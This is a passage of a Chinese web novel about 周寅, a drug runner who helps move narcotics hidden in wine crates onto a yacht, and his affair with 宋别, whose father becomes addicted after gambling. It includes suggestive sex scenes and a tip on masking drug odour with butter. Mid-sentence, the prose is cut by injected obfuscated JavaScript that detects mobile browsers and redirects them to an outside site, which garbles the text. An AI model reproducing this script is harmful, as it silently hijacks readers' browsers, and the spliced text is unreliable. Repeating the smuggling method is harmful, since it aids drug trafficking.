他闭了闭眼,再睁开时,猛然抄起她的腰,将她提到自己腿上缠吻起来,干涩的唇瓣交缠出湿腻的津液,流连于两人唇齿之间。 就在今夜,她和谢琅,做/爱。 他似乎还意犹未尽,从洗手台辗转到浴缸,热水和他一起侵袭到她的体内,她的意识在这场剧烈运动中变得模糊,隐约间似乎记得周寅问了她几个问题。 “宋别,你就不怕我是坏人吗?” “你能有多坏。” “我要是小偷呢?” “别偷了,我养你。” “我要是土匪呢?” “正好,我骗股民的钱,我是大盗。我们天生一对。” “我要是毒贩呢?” “那我就一枪毙了你。” “那你就非法持枪了。” “哦,我自首,我认罪,我伏法。” …… 周寅从柜子里取出一套新的床品,把原来那条床单换了下来,而后把她放上去,盖好被子,自己则重新穿好衣服。 时间差不多了,他走出舱门看了一眼,夜晚的海域透着一种莫名的感觉,让人无端恐惧。远处,在黑沉的夜里仿佛有一个更黑的点正在往这里缓慢移动着,越来越近,越来越近。 周寅知道,差不多到时间了。 手机在这个时候响了起来,他拿出来看了一眼,不出所料是孟良:“我看见你们了,你那边怎么样,打点好了吗?” “嗯,可以了。” 他转身下楼,找到驾驶员那里,交代了几句。 整个游艇里的人不是在狂欢,就是已经醉死在某个地方,现在是最不引人注意的时候,那些东西可以悄无声息地搬上来。 他走到一层的甲板上,海风很大,把他周身积蓄的热气都吹散了,那个点越来越近,直到看清它的形状,不算大,只是普通的小货船的样子,为了隐蔽,连灯都没有打太明亮。 孟良同样站在甲板上,用望远镜往这边张望着,看见他的脸之后,才将望远镜放下。他的神情很严肃,有一种几乎要舍生取义的滑稽感,周寅有些想笑,却还是没笑出来。 两辆船很快接头,周寅捏着手里的对讲机吩咐对驾驶员吩咐了两句,这艘游艇就在海里稳稳地停了下来。宋别是他的东家,他这也算是狐假虎威了一次。 “孟良,让人搬吧,我去带路,甲板下有一个小仓库,专门用来放酒的。” “好。”孟良点了点头,对着身后挥了挥手,船舱里出来很多人,神情和孟良一样,舍生取义,视死如归,好像这是什么光荣大事。 周寅知道,那句“犯案一人当,家属大家养”的口号喊了十多年,到现在依然管用。不止这句,还有一句“牺牲你一个,幸福你全家。” 这些人里,不只有中国人,还有一些人很明显不是亚洲面相,他没多去管。看着他们一部分从那艘船跨到这艘船,接过递过来的一个个木箱子,那里面装着酒,酒底下藏着毒。 而且为了掩藏气味,还特意在裹酒瓶的包装纸上抹上了黄油,这是常用的方法,更保险一些。 只需要带一次路,后面的人就知道怎么走了,他站在甲板上,看着这些人有条不紊地搬运着这些箱子,想起了小时候香樟树下搬运食物的蚁工。 在行话里,丁天德这样的人就被叫做蚁工,他们通常也称他们为“骡子”。无论哪一种,都暗示了他们的作用,搬运。 孟良不知道什么时候也跨到这艘游艇上,脸上的严肃稍微卸下来了一些,取而代之的是某种劫后余生的庆幸。 他拍了拍周寅的肩膀,最后一下重重地落下去,没有离开,连着嗓音都有些颤抖:“周寅,沈缚那边,多谢你替我扛了雷。还有这次,要是没有你,兄弟我这条命可能就要交代在澄州这里了……” 他是没爹没妈了,可他还年轻,还不想死。 “用得着说这些……” 孟良抬起头,长呼出一口气,接着道:“这个情我记下了,别的不多说,以后有用得着我的,你尽管支应一声。 周寅配合着点点头,心中并没有多大起伏,他不是不信这话的真心。只是实话说,能有什么用得着的地方,他们两个,谁不是每天都在上刀山下火海的,真到时候,谁也替不了谁的命。 那些人没有用多长时间就完事了,或者说,只是他以为的没多长时间。孟良再次拍了拍他的肩膀,跨到原来那一艘小型货轮上,和这些人一起消失在茫茫黑夜。 他回头看了一样船舱内,依稀可以看得见里面的笙歌艳舞,纸醉金迷,这是宋别的世界,而在脚下,那个幽暗阴湿的仓库内,才是他的世界。 周寅回去三层,走进那间房间,宋别还在熟睡着,她的睡颜比平常安稳祥和多了,终于不再那么咄咄逼人,浑身像个刺猬。他心底涌起一股莫名的欣慰,侧身附过去,伸手揽过她的腰,把她拢进自己怀里,细嗅她长发上的香味,淡淡的,说不出什么味道。 他想起和宋别的那段对话,他问她如果他是毒贩怎么办,她说一枪毙了他。他说她也犯法了,她说那她认罪伏法。 那股浅淡的欣慰急速散去,取而代之的是一浪高过一浪的苦涩。那种一眼望到尽头,无可更改的苦涩。 这间房的窗户可以看见外面的海,黑夜无光,已经看不清原来的颜色,是黑色还是蓝色,无从分辨。只知道有波涛还在不安分地沉浮,摇晃,他们都好像是一叶孤舟。 14. 第 14 章 1. 我不太清楚南方的习俗,但在北方,过年是一定要吃饺子的,而且还得要手工包,从和面到调馅,全得要自己动手,还在在里面包上硬币,吃到硬币的人,一整年都会有福气。我妈还喜欢包两个白糖馅的饺子放里面,其实一眼就能看出来,白糖的饺子比其他都要瘪。 那时开完家长会以后,都各自领着自己家孩子回家,当然,还有的同学是被揪着耳朵拽走的,我的一位狗友就是,被他妈“耳提面命”地带走,临走之前脸上还是一副马上要就义的绝望表情。 我往小个儿那边看了一眼,没有看见她。这里的人太多,学生老师,大人小孩,几乎挤满整个走廊,也挤满了我的视线,我没执着什么,很快收回目光,等我爸出来,跟在他身边一起离开。 我爸笑我,你这次算是滑铁卢了,竟然没没拿下第一,你们学校还有比你更厉害的,是什么人物? 谈起她,我一时也哑口无言。说实话,我一点都不了解她,不知道她的家庭情况,也不知道她是否真的和我一样,在心底划出一条楚河汉界。我对她的了解大部分是来自于听说,大概就是那种谁都知道的信息,于是我把这部分信息告诉了我爸。 我对他说:她是宋别,比我们都小两岁,是跳级上来的。不过脑瓜聪明着呢,以前一直都是我第一她第二,嘿,这回可真争气。 我爸也夸她:小丫头挺厉害。不过你俩也是,搁我们生意场上讲话,就是行业垄断,不给别人留活路啊。 我知道他这是得了便宜还卖乖,跟在家和我妈说话时一样,于是附和地笑了两声,想着,他心里不定怎么偷着乐呢。 我们回了一趟家,接上我妈之后就直奔商场买年货,这是我最喜欢的时候。电视和小说上说男人都不喜欢逛街,只有女人喜欢,我觉得就是纯扯淡,还是得分人。就像我,我爸有钱,自然也亏不着我,每次跟他俩一块去商场就是去给我进货。 那时候我的爱好还不怎么广泛,多半也都是望风而动,等风过去了,我的热情也就冷却了下来。那一年学校里正好流行着什么“集卡”之类的东西,我有些记不太清,毕竟已过去多年,我也再难从记忆的犄角旮旯里找寻到这些无关紧要的小事。 只依稀记得,这些卡还分什么三六九等,有“SR”“SSR”“SSS”等等,而且必须是买一盒套装赠一张卡片。这种营销方式对我们而言实在是太合适,这股风一旦在学校刮起来就很难平息,我也一样,跟我爸妈买年货的时候往购物车里塞了好几件这样的“套装”。 后来它们的下场也无需我说,被遗弃在某个角落,和我的无知青春一起离去了。 这么写有些过于矫情了,可事实确实是这样,在我青春结束之际,我的太多东西也随之而去。 我跟随着爸妈的脚步再商场慢慢逛着,我妈还是要比电视上演得那种货比三家的人要决断一些的,她纠结哪款项链或者衣服更好时,我爸常常对她说两个字,都买都买。 九七年新年钟声敲响的时候,我正和爸妈一起看着电视里的春晚包着饺子,我擀皮,他们俩填馅。电视上依旧是老熟人,冯巩、牛群,赵本山、范伟,我被逗得哈哈大笑,太哏了。 那一年我运气出奇的好,连吃了三枚包着硬币的饺子,我妈说今年我肯定要有好事发生,而且是特别好特别好的事,虽说我是生在红旗下长在春风里的坚定唯物主义者,但对这种东西,还是不免怀抱着隐隐的期待。 我从来都没想过我的生活会有什么变化,人在幸福中的时候也往往难以察觉,就像只有在溺水时才能察觉到氧气的重要一样。这太残忍,让我拥有时不知铭记,不知珍惜,却在失去之后时刻刺痛着我。 某些文学作品和影视作品都喜欢使用蒙太奇手法,十年一笔带过,现实却反复折磨。 此后很多年的春晚都好像不如今年的有趣,人换了一批又一批,曾经的熟悉的人都不再见踪影,我也才晓得,人哪有一成不变的。 真要让我回想的话,我自己甚至都觉得神奇,那样痛苦难捱的十年我究竟是如何度过的,那样的悲伤究竟是如何散去的。我又是如何一步一步走到今天这地步。 我一直在想我究竟错在什么地方,为什么命运要这么对我,我知道我实在算不上什么好人,可我也从未做过什么坏事,我怎么能说的上罪大恶极呢,我怎么会得到所谓的报应呢。我只不过,只不过和太多人一样,是个平庸之辈而已。 后来的某一年,我去到河南一带,听说洛阳那边的白马寺很灵验,于是决定去拜拜。那天的人并不算少,他们说着当地的方言,依稀可以听懂几句,无非就是些家长里短,求姻缘,求学业,求财运,我接过沙弥递给我的礼佛香,站在大雄宝殿的佛祖面前怔愣了片刻,我竟然不知道应该求什么。 宝相庄严的释迦摩尼佛垂眸注视着众生,眉眼低垂,嘴角含笑。那一刻我好像明白了。 都说天地不仁以万物为刍狗,我不过是茫茫众生中的一个而已,那些我所以为的我的命运,或许本就与我无关。 很难说清决定我命运的那一天究竟是在何时,是那一次的雨夜,还是那个人握住我手的那一刻,亦或是一九九四年,萨帕塔民族解放军与墨西哥政府正式宣战的这一天[1]。 我难以回溯过往,虔诚地敬了香,学着身边人的样子,双手合十拜了又拜,直到身后的人催促才转身离开。我走出大殿,外面下起了小雨,殿外树上挂着的平安符被吹得摇摇晃晃,兴许是菩提树吧。 我站在檐下躲雨,看着奔忙的人们,某一个念头忽地在我脑中一闪而过——我知道该求些什么了,我该给自己求一条回头路的。 可世事就是如此,当我后知后觉意识到时往往为时已晚,我回过头,看了一眼端坐高台的佛祖,他还是一如既往的慈眉善目,接受着善男信女的供奉,将世人苦难尽收眼底。却又无声无息。 2. 宋别醒来的时候,周寅就躺在她身侧,她枕在他的臂弯里,两人以一种相拥的姿势入眠又醒来。 她的手轻轻擦过他的鼻梁,睫羽,以前宋别就觉得谢琅的睫毛很长,比女孩子的还要长,这显得他那双眼睛尤其好看,尤其明亮,到现在还是这样,没怎么有太多的变化。 周寅似乎睡得很沉,呼吸很平稳,没有鼾声,她在心底暗笑了两声,站起身去盥洗室洗澡。热水把整个房间都氤氲着雾气,她站在花洒下看昨夜的痕迹,他的力气很大,有的地方已经青紫,让她不得不回忆起几小时前的疯狂放荡。他的手掌很粗粝,划在她皮肉上,每一步都格外清晰。 她没有持续太久,随便冲了两遍就关上了花洒。伸手去够浴巾的时候却发现它原本的地方已经空空如也,紧接着,一片柔软附上来。 周寅不知道什么时候出现在她身后,正拿着浴巾将她裹住,他什么都没说,一言不发地帮她擦着脊背上的水珠。 宋别也没有说话,背对着他,任由他席卷,最后似乎彻底擦干了,她直接往后一靠,偎在他怀里。 镜子上的雾气渐渐散去,隐约可以看清两人的模样——周寅上身赤裸,隔着一层浴巾拥住她,没有什么恨海情天的情愫,激情褪去,两人脸上的神色都很平淡。 他抱了她一会儿,开口说道:“去吃点东西吧,昨晚都没怎么吃饭。” 宋别忽地笑了一声,转头看向镜子里,周寅比她高很多,手臂上的肌肉还蔓布着条条青筋,镜子里那个黄鸟的图案很明显。她自己都有些不敢相信,以前那个清瘦的少年会长成今天这副模样。 周寅问她:“笑什么?” “你还记得我从你家醒来的那天吗?”宋别转过身仰头看着他,继续说:“那天早上,你就是这么对我说的。” 他也笑了起来,唇角的弧度并不明显,笑意大都藏在眼睛里:“是吗。” 宋别说:“我想吃你做的面了。” 周寅说:“我去给你做。” 周寅出去以后她就换了件衣服,黑色长袖薄衫,下身也是黑色长裤,盖住身体上的所有痕迹,为了不让周身显得太暗,于是又搭配了一套白金色的项链和耳环。 餐厅里冷冷清清地只有他们两个人,其他人昨天玩到太晚,不到中午估计都醒不过来。 周寅将面碗推到她面前,自己坐在对面,静静看着她吃。 “你不吃点吗?” “吃过了,你吃吧。” 他们之间就这两句对话,宋别就不再言语,专心吃着碗里的东西,那碗面她只吃了多半碗就吃不下去了,擦擦嘴,下意识去摸烟,才发现换了衣服,烟盒已经不在。 “别抽那么猛。”周寅像是看透了她的想法,淡声劝了一句,似乎是为了让这句话更合理,又补充道:“对身体不好。” 她像是听到什么笑话,扑哧笑了一声:“周寅,别五十步笑百步了。” 这话说得不错,两个人的烟瘾都不算小。他也跟着笑了笑,看着她眼睛,这双眼里很少含有这样的情绪。他到现在都觉得有些恍惚,他和眼前这个女人,耳鬓厮磨,彻夜交缠,水乳交融。 曾经他对她的印象,无非是刻薄,精明,高高在上。现在依旧没怎么变化,还是刻薄,精明,高高在上。可这些所谓的“缺点”,怎么都变得可亲起来。 游艇的两夜一天,宋别和周寅几乎再没有出过那间房,也没有别的事情,酒池肉林,靡靡之音而已。 * 游艇之后,宋别和周寅有段时间没见过面。 挺奇怪的,他们不像平常情侣那样,刚在一起的时候总该有一些热恋期,如胶似漆,你侬我侬地黏在一块。宋别对这件事看得不那么重,他们现在还是要有各自的生活,她还不那么急于了解。 就像她说的,他们之间,来日方长。 那几天正好公司也比较忙,形势一片大好,宋别多半时间都放在了工作上,偶尔闲暇下来,想一想他,也算调剂。 这么看着,她的生活也算美妙,可十全十美似乎是不被上帝允许的,总得有人过来添点堵。比如,她那个好爹。 接到电话的时候,她正在开车回家的路上,那是个陌生号码,她没多想,接了起来。没想到,对面竟然是杨繁的声音。 “喂,是……是宋别吗?” 她听出了她的声线,什么都没说,抬手直接挂断了电话,然后把这个号码加入黑名单。 不久,手机再次响了起来,上面显示着某某警局,她也不得不接了起来。 “宋别,你爸进去了,你不能不管他!”像是怕她要接着挂电话一样,杨繁的语速特别急切。 “能活活不能活就去死。”她张口骂道,正要再次挂断时,听到了另一个声音:“同志,你既然是他女儿,最好还是过来一趟吧,你爸他的问题可不止是赌博这么简单。” 听见这句话,宋别反倒来了兴趣,扬唇冷笑问他:“够判死刑吗?” 那边警察似乎没想到有人会这么对自己的亲生父亲说话,正愣了一下,又很快调整好,正色对她说:“宋女士,这件事不是可以开玩笑的,我们有义务告知家属,你父亲可能——” “涉嫌吸毒。” 宋别的脸色有一瞬的凝滞。 那家警局并不是林钊所在的市局,而是负责某一片区域的分局,地方有些偏僻,她知道,上次那个赌场去不成,这是不知道又去哪找了个儿犄角旮旯赌了。果然,死性不改。 开车到警察局的时候天色已经彻底暗了下来,警局门前亮着浑浊的白光,几只飞蛾在上面盘旋。 她推开门走进去,就看见杨繁坐在外面的长椅上,身边还带着穿着蓝白校服的宋远章。相比于头发散乱,眼神麻木的杨繁,宋远章脸上的表情就精彩的多,看见她,先是惊惧,又厌烦倔强地转过头,但还是忍不住拿余光瞥她。 工作台上坐着几名警察,看见有人来,一名女警抬起头,问道:“你找谁?” “宋复。”宋别说道,伸手给自己点了一根烟。 有一个警察皱眉看过来,对她说道:“女士,这里不能抽烟。” 宋别瞥了他一眼,又平淡地收回目光,吐出一口烟雾,而后问那个女警:“你说他吸毒是吗?” “现在正在检测,结果还没出来。”女警说道,往楼上瞥了一眼:“涉不涉毒不知道,一定是涉赌,不过好在涉案金额并不算太大,交了罚款就能走,你们谁交?” 宋别当然晓得,杨繁这么执着地给她打电话,一定是自己交不上这个钱的。果然,宋远章这时候又把目光挪向了她,她看过去,啧,怎么还有那么点乞求。不是说这个年级的孩子,骨头最硬了吗。 她故意沉默着,不接茬。 这股寂静折磨着宋远章,他似乎终于忍不住,叫了她一声:“喂。” 宋别看过去,挑了挑眉,目光平淡地有些发冷,还是不说话。 他的声音也不自觉软了下来,对她说:“姐……你就让爸回家吧。” 姐。这个称呼对她来说还真是挺陌生的。宋别像是施舍一样,咬着烟吐出一口烟雾,问那个女警:“多少?” “五千。” 她有随身带现金的情况,车里的扶手箱里更是塞着几沓几沓的人民币,这点钱对她而言不算什么,她从包里拿出一叠钱来,递给一边的宋远章:“数数。” 他的手本来还在无措地绞着衣服下摆,面对宋别突如其来的热络,显地有些受宠若惊,忙接过来一张一张数。 宋别静静站在一边,脸上什么表情都没有,无视工作人员刻意地用手扇风的动作,专注地抽着烟。 “我不跟他过了……” 宋别的烟燃到尽头,烟灰落在地上时,忽然听见这么一句话。她眼含笑意地看向声音的来源,原本一直沉默着的杨繁,不止是她,几乎所有目光都落在了杨繁身上,宋远章数钱的手也顿住了,不可置信地叫了一声:“妈……” 杨繁也看向了宋远章,母子对望,眼泪一下子就从眼眶里翻涌了出来:“我要和他离婚,我要和他离婚!” 宋别站在一边,把她从头到尾都打量了个遍,她依稀还记得初次见杨繁的时候,那时她比现在的宋远章还要小,杨繁也很年轻,披着一头卷发,带着金耳环,小腹微微隆起,长了一张很明艳的脸,昂着下巴说自己已经怀了宋复的孩子,说什么要她妈退位让贤。 那时候宋复也是什么都没有,也是爱赌,说实话,还是杨繁倒贴的他。那时候还真是爱得轰轰烈烈海枯石烂,够要人命的。 现在呢,她的头发还是卷卷的,然而早已经失去了当年的色泽,变得粗糙枯黄,像是没有生气的杂草。岁月对女人总是毫不留情,容不得一点风吹草动,当初戴着金耳环涂着红指甲,和宋复恨海情天的时髦女人,竟然也会声嘶力竭地喊着要和他离婚。 贫贱夫妻百事哀啊。 她笑了一声,将烟头捻灭扔进手边的垃圾桶里,随后走到宋远章面前,俯下身看着他:“数好了吗,数好了就给警察阿姨送过去。” 宋远章又看了一眼杨繁,还是决定先把宋复“赎”出来。多余的钱,他也老老实实递到了宋别面前,宋别接过钱,折了一下,塞进他的口袋,“怎么说,你也是喊宋复爸的——哦,也许以后不用了。” 说这话的时候,她特地朝杨繁那里看了一眼,她依旧保持着那个姿势没变,眼睛还在用力盯着那个方向,好像那里就站着宋复本人一样。 宋远章随着她的目光看过去,也发现了他妈的不正常,试着又喊了一声妈,可还是没有任何用,杨繁像是没听见一样,动也不动。 直到楼梯上脚步声传来,宋复走下来,看见宋别,有些害怕地叫了她一声:“小别……” 杨繁猛然回头,死盯着他,一字一句地说:“宋复,我要跟你离婚!” “你说什么呢,我跟你保证,这是最后一次……” “我说我要跟你离婚!”杨繁忽地嘶吼了一声,紧接着越说越激动:“我跟你这么多年,你说多少次了戒赌戒赌,现在小章都这么大了,你还是一点都没变,我爸妈的钱都让你输完了,你还是不改,现在宋别不肯给我们钱了,你说,让我们以后的日子怎么过,怎么过!宋复,你看看我,你看看我的手,你还记得我以前的样子吗,这些年,你根本就没有变过,以后也不会变!” 宋远章显然没有见过这阵势,害怕地扯了扯杨繁的衣服,又被她一下挥开。 “有什么事回家说行不行?”宋复环顾了一圈,压低声音对她说。也有警察过来劝她,让她不要吓着孩子,可都没有什么效用,她像是要将这一辈子的苦水倒完一样,撕扯着嗓子越哭越大声,谁劝都没用。 好巧不巧,宋别的手机在这时候响了起来。 她看了一眼来电信息,边往外走边旁若无人地接了起来:“周寅。” “嗯。” 她以为他打电话来该说点别的什么的,可他除了嗯,就再没有别的言语。 这让她的心中有些熨帖,他们之间确实没有什么事可说,那就只有一个原因。 “想我是吗?” “嗯。”他似乎在笑,停顿一下接着补充:“想你了。” “那好,等一下我去见你。” “方便吗?” “你想不想见我。” “嗯。” “那就方便。” 电话没有再多的内容,两人在彼此面前似乎才不善言辞,一个惜字如金,一个惜时如金。 可宋别更愿意将这归结为一种默契,说太多话,都显得赘余。 她关上手机,重新往里走,那边的闹剧似乎平息下来了,杨繁坐在椅子上不停地哭,宋复站在一旁,脸上有几道血痕。 哟呵,这杨阿姨劲儿还真不小。 周寅电话打来的时候,这出戏就显得乏味了很多,宋别懒得再看下去,径直走向宋复,看向他淡声问道:“宋复,实话告诉我,你吸毒了没有?” 宋复看见她就有些紧张,说话都不怎么利索了:“我,我不知道……一开始他递给我一支烟我就抽了,之后就什么都不记得了,我真不知道那是什么毒品啊……” “谁给你的?” “就…就一起打牌的,我也没看清楚。” “在哪打牌的?” “永乐麻将坊。”宋复回答:“我记得当时手气还不错,上头了,就有人给我让了一根烟,我顺手就接了过来,抽的时候感觉挺怪的,脑子也不清楚,等清醒了人都走完了,后来就越来越不得劲儿,浑身疼,吃止疼药也没用,打牌的时候又有人给了我一根烟,抽一口就好了……” 几乎用不着检测,宋别可以确定,宋复确确实实是吸了毒,有了瘾。 这些话都是刚才他对着警察说过的,不怪打电话时女警那么严肃地跟她说宋复可能涉毒。 照这个情况,基本已经在警局备好案了,估计用不了多久就可以打包送到戒毒所,黄赌毒不分家,这并不算什么意料之外的事,只是宋复这个人,连赌都戒不了,怎么可能戒得了毒。 “你想死的话,就继续抽吧。”她沉声开口,声音肃然,“别指望我会管你的死活。” “同志,你这么说话就不对了,好歹也是你亲爹不是。”刚才那个让她不要抽烟的警察站起来指责,宋别瞟了他一眼,没理他,转头对那个女警说:“他百分百是吸了,最好你们仔细问问,跟市局那边也打个招呼。” 说完这些,她就没心思管这些烂摊子,这些事就算要管,也不能是在今天。 杨繁还在捂着脸哭,宋远章跟个没人要的小孩一样站在原地,警察局里还有一些被弄得凌乱开了,还真是一出从头到尾的闹剧。 她没回头看一眼,抬腿就跨上了车。 宋别给林康安打过去一个电话,接通后对她说:“你要是有时间,去永乐麻将坊逛逛,或者其他别的小赌场,说不定能查出点什么。” “什么?”她一时没反应过来,有些懵。 宋别接着说:“宋复在吸毒,在赌场吸上的。” 说完这句,她就挂断了电话,转动钥匙,去往目的地。 她记得路。 在澄州的三伏天,哪怕是晚上热气也经久不散,车开到那间“光明修车行”的时候,宋别在右侧行车道,隔着半条街望向那边,还是有些黯淡的昏黄色的灯,他坐在一个小马扎上面,弯着腰,一口一口地在抽烟。 越急躁,越想要慢一点。 宋别缓缓把车滑过去,停好。下车走到店门口,和抬起头的他视线交织。 她先是笑了一声,很自然地问他:“不是说吸烟有害健康吗?” 他站起来,烟杆上的半截烟灰恰好掉在地上,险些要烫到他。周寅没在意,那剩下的烟也尽数捻灭,撇到一边的垃圾桶里,对她说:“一根不要紧。” 她没有说话,径直朝他走过去,高跟鞋踩在地上哒哒作响。周寅扫过一眼她的双脚,她今天穿了一双银色红底高跟鞋,跟很细,也很高,衬得她的脚腕特别好看。 “脚不疼吗?”他问她。 “有点。” “那我给你揉揉。” 周寅给她搬了个小凳子坐下,坐在她身侧,弯下腰将她的高跟鞋脱了下来,把她的双脚抬到自己腿上轻轻揉。 宋别侧眼看着他的手掌,青筋遍布,她这么看着,不自觉抚摸上去,他的手一下顿住。 里面的血管好像在跳动。 她抬起头,正对上他的眼睛,长长的睫毛遮下一片阴影。那双眼里并不总是吐露情绪,大多时候很平淡,偶尔的时候,会有些浅浅笑意。 宋别什么都不想做。 她伸手扶住他的肩膀,屈膝跪在他的大腿上,所有的重量都压在了他上面,然后俯身吻了下去。 周寅伸手环住她的身体,防止她掉下去,这个吻不算短,彼此嘴里都有没散尽的烟味。宋别知道,他又在抽玉溪了。 “宋别,我去关门。” “好。” 宋别说好,却没有动。 “我得站起来。” “哦。” 宋别由跪转坐,想从他腿上站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192982|150085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来时,又被他一手抄起腰,牢牢箍在怀中。 “地上凉。”周寅站起来,把她放到凳子上,起身关了门,将外面的卷帘门伸手拉下锁好,回过头,宋别已经从凳子上下来,重新穿上了高跟鞋。 “上楼。”她只说了这两个字,转身就朝楼梯走去,周寅关了一层的灯,也紧随其后。 二楼像是一间普通的公寓,不算大,她站在门前仔细打量,收拾的很干净,非要说有什么也别的,就是靠近门的地方做了一个内嵌的佛龛。 上面不知道供奉的什么佛,宋别其实觉得所有的菩萨还是佛都长得差不多,都是慈眉,都是善目。香炉里的灰只有浅浅一层,可见供奉的人并不怎么上心。 她指着那个佛问周寅:“你信佛?” “还行。” 信就是信,不信就是不信,还行是什么意思?宋别笑了一下,没有过多探究,就听见他问:“沙发还是床上?” “沙发。”她说,“今晚我在这里过夜。” 他们像是两个过分熟稔的床伴,默契地诉说彼此的需求。宋别是高欲望的人,无论对于什么,性,食,钱权名利,她知道自己想要什么。 趁着周寅去洗澡的时间,她把这里都看了一遍,和她料想的一样,没有任何脏污,每一寸都被他打扫的很干净,但也过分简洁了。 他很快从里面出来,身上挂着一些水珠,周身还有一些水汽。看着他的躯体,宋别轻笑了一下:“周寅,过来。” 今晚不知怎么下起了雨。 宋别被他送上去时,外头的雨势骤然加大,她伏在他胸膛里,那里也在起伏,心脏跳动,让她心安。 周寅拨开她的头发,他经常做这个动作,很久以后宋别问过他,他说他想看清楚一些她的脸。他们彼此都汗涔涔的,这让他们更加紧密,好像毫无缝隙。 宋别静静地听着窗外的雨声,澄州夏季本就多雨,一下下来,就难停了。 “周寅。” “怎么了。” “没事……”她不知道为什么,大抵是所谓的贤者时间作祟,让她有些想哭,“叫叫你。” 周寅伸手拍了拍她,说道:“去洗澡吧,你明天要工作,早点睡。” 宋别还是没动,他也就不再说话。 后来她还是去了,周寅隔着浴室门递给她一件他的衬衫,那对她来说过于宽松,因此也还算舒适。他们两个躺在那张略显狭窄的床上,宋别自顾自地抽着烟,望着天花板。 周寅问她:“还不睡吗?” 她忽地说:“你说,要是染上了毒瘾,还有可能戒得掉吗?” “宋别,你……” “是我爸。”她把手伸出床外掸了掸烟灰,语气十分平静,像是诉说一件很平常的事,“他在赌场时接了一支别人递过来的烟,从这以后就染上了毒瘾,我不知道到什么程度了,应该还只是吸,没到打针注射那步。” 周寅觉得他该说些什么的,可是一个字也说不出。 宋别似乎也不需要被回应,只在旁边安静地诉说:“他挺混蛋的,我小时候不知道怎么就沾了赌,把家都给败光了,可要命的是,长得倒还不错,还能有别的女人看上他,大着肚子就找家来了。到现在,那个女人也要跟她离婚,还吸了毒,啧,听着还不错。” 他们紧挨着的两只手握了起来,他的手掌把她的包裹住。宋别觉得神奇,他像是就通过这两只相握的手读懂人心:“宋别,你不用太担心,去戒毒所,可以戒掉的。” “你不知道。”宋别说,“我对那东西还算了解,像我爸这种人,沾了它,就是死路一条。” 周寅握着她的手倏然收紧,了解,他怎么会不了解。他就是沾手这生意的,当然比宋别更加了解。 而所谓的毒品经济,无非是一个喋血的魔窟。让你戒不掉,忘不了。 “如果戒不掉……”她的声音听起来有些空,可下一刻就变得无比沉重:“那也是他的命。” 周寅的心在狂跳着,仿佛要跳出他的胸腔,一下下,鼓槌一样抨击着他的神经。外面的越下越大,宋别不知道什么时候睡了过去,他摩挲着她的指节,望向黑洞洞的天花板,睁着眼睛怎么也睡不着。 尽管他不愿意面对,可那个事实就在那里,尖锐地,不知疲倦地等待着他。 是他,是他毒害了宋别的父亲。 如果是曾经,他尚且能掩耳盗铃自欺欺人,可这个人就近在眼前,就是切肤之痛。 身侧的手机在这时震动起来,他连忙拿出来,走出房间接起。 电话是沈缚打来的。 “周寅,那批货虽说有点差池,但结果还算不错,吕哥说了,少不了你的好处。” “嗯,替我谢谢吕哥。” 周寅淡淡道,他对这些没什么感觉,但不能不谢。 “这两天澄州的形势不好,警察已经开始注意了,那些棋牌室,麻将馆,还有歌厅酒吧查的都特别严。”沈缚说道,电话那边传来按动打火机的声音,他的嗓音有些哑然:“趁这个时间,你也该走了。” 周寅顿了一下,问他:“这么急?” “活命哪有不急的。”沈缚嗤笑一声,“我给你安排时间,到那边有人接应你,孟良也走,他去西边。” “好。” 沈缚笑了一声:“怎么说你也这次算立功了,怎么听着一点笑模样儿都没有,吕哥那么重用你,好好想想有什么想要的。” 周寅扯了扯嘴角,还是没笑出来,干巴巴栋跟他说:“也没什么想要的,我这条命都是吕哥给的,还提什么条件。” “你小子,难怪你得脸呢。” 电话到这里挂断,周寅有些头疼地揉了揉眉心,枯坐着沙发上。外面还下着雨,还在在窗帘上劈出一道闪电。 在澄州的时间不算长,现在适应不久,又要回去南边了。 广州,他对那个城市尤其陌生。 怔愣的时候,手机再次响了起来,是一个陌生号码,他大抵猜得到是谁,很快按下了接听键:“喂。” “阿寅啊,这么晚还没休息?” “吕哥。”周寅舔了舔干涩的嘴唇,压低声音对他说:“出来抽根烟。” “澄州这事做的不错,等在广州做完之后,你就回来跟着我吧。”吕澄阳道,“今年已经二十七了吧,也是该成个家了,到时候挑个好姑娘,我给你掌掌眼。” 周寅往卧室的方向看了一眼,紧接着对吕澄阳说道:“吕哥,我还不着急……” 他像是了然什么,哈哈笑了两声:“男人嘛,爱玩是应该的,不过还是得先有个孩子。你也知道,干这事风险不小,说什么得给自己留个后,这事听我的。” 他也就不再反驳,闷声嗯了一下。 吕澄阳说完这些,又话锋一转,说起另一件事:“害,这年头生意真是不好做,缅甸那边太乱,门看得又严,老毛子也都是精明人,这两天,不成就去阿富汗那儿一趟。” 周寅对他说得这个局势有些感到诧异,他们的货从来都是由俄罗斯那边过来的,这么多年从没出过什么岔子:“是出什么事了吗?” “一句两句说不清楚。”吕澄阳抽了一口烟,还是简短地解释了两句:“俄罗斯那边的货是西边来的,现在那边出了点事,有点断了。哎,要不是在国内风险太大,也用不着吃别人的剩饭。阿寅啊,空的时候也学学英语什么的,你的路远着呢。” “嗯,谢谢吕哥。”周寅说道。 吕澄阳这个人跟一般的毒贩不一样,其中最特别的地方就是学历,他的学历很高,名牌大学毕业,念研究生时退学,后来就倒腾起了这门生意,同样的,他也喜欢那些学历高的人。 但这两重身份毕竟太过冲突,这样的“人才”实在太过稀缺。 而周寅也隐约晓得,吕澄阳似乎也并不是这个所谓“组织”的领头羊,他只是一个“转盘手”。而他对于自己真正效命的人,尚且一无所知。 这两通电话让他已经睡意全无,自己在客厅里抽起了烟。他对约莫能猜得到吕澄阳口中的“西边”,俄罗斯有一部分地属北欧,而销往北欧的毒品,除了意大利黑手党和法国科西嘉不约而同将毒品销售到纽约与俄罗斯之外,银三角也在这场“毒品生意”中分一杯羹。 墨西哥,哥伦比亚,巴西,秘鲁以及玻利维亚等诸多国家,共同构成了一个血腥的三角。 